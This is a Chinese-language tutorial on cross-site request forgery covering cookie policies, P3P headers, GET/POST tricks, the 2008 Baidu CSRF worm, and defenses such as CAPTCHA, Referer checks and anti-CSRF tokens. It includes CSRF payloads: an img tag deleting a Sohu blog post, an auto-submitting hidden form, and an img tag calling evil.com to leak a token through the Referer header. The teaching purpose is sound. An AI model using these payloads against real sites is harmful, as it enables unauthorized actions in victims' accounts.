『跨站脚本攻击』CSRF攻击
定义与原理
定义
CSRF(Cross Site Request Forgery,跨站点请求伪造)
通过伪装成受信任用户请求受信任的网站。对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等
例子
假设请求这个url可以删除掉编号为156713012的搜狐博客文章
1
http://blog.sohu.com/mange/entry.do?m=delete&id=156713012
假设这个url同时还存在csrf漏洞,我们可以尝试利用这个漏洞,删除掉这篇文章。
攻击者可以首先在自己的域构造一个页面
1
http://www.a.com/csrf.html
其中包含一个img标签,指向上面的删除博客文章的链接
1
<img src="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012" />
攻击者可以诱使博主访问自己构造的页面
http://www.a.com/csrf.html
,博主看到的是一个无法显示的图片,此时博客文章已经被删除掉了。原因就是:博主在访问该页面的时候,图片标签向搜狐服务器发送了一次GET请求,删除了文章。
CSRF进阶
浏览器的Cookie策略
一般csrf攻击的目标需要使用cookie
浏览器所持有的Cookie分为两种
Session Cookie(临时Cookie)
- 没有指定Expire时间,保存在内存中,所以浏览器关闭后,Session Cookie就失效了。
- 浏览网站,若是一个网站设置了Session Cookie,那么在浏览器进程的生命周期内,即使浏览器新打开了Tab页,因为新Tab页在同一个浏览器进程中,Session Cookie也都是有效的,因此Session Cookie将被发送。
Third-party Cookie(本地Cookie)
- 服务器在Set-Cookie时指定了Expire时间,只有到了Expire时间后Cookie才会失效,所以这种Cookie会保存在本地
- 如果浏览器从一个域的页面中,要加载另一个域的资源,由于安全原因,某些浏览器会阻止Third-party Cookie的发送。
例如,攻击者可以在自己的域上(b.com/csrf.html)构造
iframe
、<img>
、<script>
、<link>
等标签1
<iframe src="http://www.a.com"></iframe>
抓包可以发现,发送出了
Session Cookie
每个浏览器的拦截策略不同
火狐默认允许发送本地Cookie:用户访问b.com,利用本地直接发送即可成功
IE浏览器不允许发送本地Cookie:需要诱使用户在当前浏览器中先访问
http://www.a.com
,让Session cookie有效,然后再实施CSRF攻击。
P3P头的副作用
有些CSRF攻击并不需要进行认证,不需要发送cookie
P3P头的定义
P3P Header(The Platform for Privacy Preferences)是W3C制定的一项关于隐私的标准。
P3P头的作用
如果网站返回给浏览器的HTTP头中包含有P3P头,则在某种程度上来说,将允许浏览器发送第三方Cookie。这种情况下即使是IE的
<iframe>
、<script>
等标签也将不再拦截第三方Cookie的发送。在网站的业务中,P3P头主要用于类似广告等需要跨域访问的页面。但是P3P头设置后,对于Cookie的影响将扩大到整个域中的所有页面,因为Cookie是以域和path为单位的,不符合“最小权限”原则。
P3P头只需要由网站设置一次即可,滞后每次请求都会遵循此策略,不需要重复设置。
例子
http://www.b.com/test.html
代码如下1
<iframe width=300 height=300 src="http;//www.a.com/test.php"></iframe>
在
http://b.com
中请求test.html
,它的iframe
会告诉浏览器去跨域请求http://http://www.a.com/test.php
。http://http://www.a.com/test.php
的代码如下1
2
3<?php
header{"Set-Cookie:test=axis;domain=.a.com;path=/"}; //临时cookie
?>而由于浏览器的同源策略,这里的set-cookie是不会成功的(无论是临时还是本地cookie都不会成功)
注意这里和上面的例子的区别:
同源策略主要限制跨域请求时设置和读取Cookie
上面的例子是用户主动访问
http://www.a.com
,这个请求是同源的,因为请求的源(浏览器中当前访问的页面)和目标源(http://www.a.com
)是相同的。由于是同源请求,服务器可以成功地设置Session Cookie。浏览器会接受并存储这个Cookie。当用户再访问攻击页面(
http://www.b.com/csrf.html
),这个页面包含一个指向http://www.a.com
的<iframe>
或其他请求。虽然这个请求是跨域的,但因为Session Cookie已经存在于浏览器中,所以浏览器会自动附带这个Session Cookie发送请求。而这里的例子是跨域请求直接尝试设置Cookie,所以浏览器会拒绝这个操作,这是同源策略的限制。
但是,在加入P3P头的情况下:P3P头允许跨域访问隐私数据,从而可以跨域set-cookie成功。
正因为P3P头目前在网站的应用中被广泛应用,因此在CSRF的防御中不能依赖于浏览器对第三方Cookie的拦截策略,不能心存侥幸。
很多时候,如果测试CSRF时发现
<iframe>
等标签在IE中居然能发送Cookie,而又找不到原因,那么很可能就是因为P3P头在作怪。
GET和POST
大多数CSRF攻击发起时,使用的HTML标签都是<img>
、<iframe>
、<script>
等带“src”属性的标签,这类标签只能够发起一次GET请求,而不能发起POST请求。
但是,这并不表示只要把重要的操作改成只允许POST请求,就能防止CSRF攻击。
情景1:服务器没有区分get和post请求
对于很多网站的应用来说,一些重要操作并未严格地区分GET与POST,攻击者可以使用GET来请求表单的提交地址。比如在PHP中,如果使用的是
$_REQUEST
,而非$_POST
变量,则会存在这个问题。例子:
以下表单
1
2
3
4
5<form action="/register" id="register" method="post">
<input type=text name="username" value="" />
<input type=password name="password" value="" />
<input type=submit name="submit" value="" />
</form>用户可以尝试构造一个GET请求
1
http://host/register?username=test&password=passwd
如果服务器没有区分get和post请求,那么这个请求会通过。
情景2:服务器区分get和post请求,可以在攻击代码中构造Post
服务器区分get和post请求的情况下,仍然可以在一个页面中构造好一个form表单,然后使用JavaScript自动提交这个表单。
例子:
http://www.b.com/test.html
中1
2
3
4
5
6
7
8
9
10
11<form action="http://www.a.com/register" id="register" method="post" >
<input type=text name="username" value="" />
<input type=password name="password" value="" />
<input type=submit name="submit" value="submit" />
</form>
<script>
var f = document.getElementById("register");
f.inputs[0].value = "test";
f.inputs[1].value = "passwd";
f.submit();
</script>可以将这个页面隐藏在一个不可见的iframe窗口中,那么整个自动提交表单的过程,对于用户来说也是不可见的。可以成功实现攻击(前提是获取到了cookie)
CSRF worm
2008年9月,国内的安全组织80sec公布了一个百度的CSRF Worm。 漏洞出现在百度用户中心的发送短消息功能中:
1 | http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=用户账户&co=消息内容 |
只需要修改参数sn,即可对指定的用户发送短消息。
百度的另外一个接口则能查询出某个用户的所有好友:
1 | http://frd.baidu.com/?ct=28&un=用户账户&cm=FriList&tn=bmABCFriList&callback=gotfriends |
将两者结合起来,可以组成一个CSRF Worm——让一个百度用户查看恶意页面后,将给他的所有好友发送一条短消息,然后这条短消息中又包含一张图片,其地址再次指向CSRF页面,使得这些好友再次将消息发给他们的好友,这个Worm因此得以传播。
CSRF防御
验证码
概念
验证码被认为是对抗CSRF攻击最简洁而有效的防御方法。
CSRF攻击的过程,往往是在用户不知情的情况下构造了网络请求。而验证码,则强制用户必须与应用进行交互,才能完成最终请求。
缺点
- 但是很多时候,出于用户体验考虑,网站不能给所有的操作都加上验证码。
因此,验证码只能作为防御CSRF的一种辅助手段,而不能作为最主要的解决方案。
Referer Check
概念
常见的互联网应用,页面与页面之间都具有一定的逻辑关系,这就使得每个正常请求的Referer具有一定的规律。
例,一个“论坛发帖”的操作,在正常情况下需要先登录到用户后台,或者访问有发帖功能的页面。在提交“发帖”的表单时,Referer的值必然是发帖表单所在的页面。如果Referer的值不是这个页面,甚至不是发帖网站的域,则极有可能是CSRF攻击。
缺点
- 服务器并非什么时候都能取到Referer。
- 很多用户出于隐私保护的考虑,限制了Referer的发送。
- 在某些情况下,浏览器也不会发送Referer。例如:从HTTPS跳转到HTTP,出于安全的考虑,浏览器也不会发送Referer。
无法依赖于Referer Check作为防御CSRF的主要手段,可以通过Referer Check来监控CSRF攻击的发生。
Anti CSRF Token
目前业界针对CSRF的防御,一致的做法是使用Token
为什么使用Token
CSRF能够攻击成功,其本质原因是重要操作的所有参数都是可以被攻击者猜测到的。
出于这个原因,可以想到一个解决方案:把参数加密,或者使用一些随机数,从而让攻击者无法猜测到参数值,这就是token
具体方法
URL中,保持原参数不变,新增一个参数Token,值随机且不可预测:
1
http://host/path/delete?username=abc&item=123&token=[random(seed)]
Token需要足够随机,必须使用足够安全的随机数生成算法,或者采用真随机数生成器,且为用户与服务器所共同持有,不能被第三者知晓。在实际应用时,Token可以放在用户的Session中,或者浏览器的Cookie中。
由于Token的存在,黑客无法再构造出一个完整的URL实施CSRF攻击。
在提交请求时,服务器只需验证表单中的Token,与用户Session(或Cookie)中的Token是否一致,如果一致,则认为是合法请求;如果不一致,或者有一个为空,则认为请求不合法,可能发生了CSRF攻击。
Token的使用原则
Token的生成一定要足够随机
设置一个用户的有效生命周期,在Token消耗掉前都使用同一个Token。
如果用户已经提交了表单,则这个Token已经消耗掉,应该再次重新生成一个新的Token。
如果Token保存在Cookie中,而不是服务器端的Session中,一个用户打开几个相同的页面同时操作,当某个页面消耗掉Token后,其他页面的表单内保存的还是被消耗掉的那个Token,因此其他页面的表单再次提交时,会出现Token错误。在这种情况下,可以考虑生成多个有效的Token,以解决多页面共存的场景。
保密性
Token如果出现在某个页面的URL中,则可能会通过Referer的方式泄露。
在使用Token时,应该尽量把Token放在表单中。把敏感操作由GET改为POST,以form表单(或者AJAX)的形式提交。
例子:
以下是一个页面中删除操作的URL
1
http://host/path/manage?username=abc&token=[random]
如果这个页面包含了一张攻击者能指定地址的图片:
1
<img src="http://evil.com/notexist" />
那么,当浏览器尝试加载这张图片时,会向
http://evil.com
服务器发送一个请求。在这个请求的HTTP头中,会包含Referer字段,其值为上面代表删除操作的URL。攻击者通过查看Referer字段的内容,即可获取到包含敏感Token的URL,从而导致Token泄露。
url中不是已经泄露了token嘛,为什么还要靠referer字段来获取token?
因为url中的token只有用户自己能看到,而后面的图片加载将url写入referer,让攻击者可以接收到对应操作中的token
还有其他的可能导致token泄露的方法,如XSS、跨域漏洞等
CSRF的Token仅仅用于对抗CSRF攻击,当网站还同时存在XSS漏洞时,这个方案就会变得无效,因为XSS可以模拟客户端浏览器执行任意操作。
在XSS攻击下,攻击者完全可以请求页面后,读出页面内容里的Token值,然后再构造出一个合法的请求。 这个过程可以称之为XSRF,和CSRF以示区分。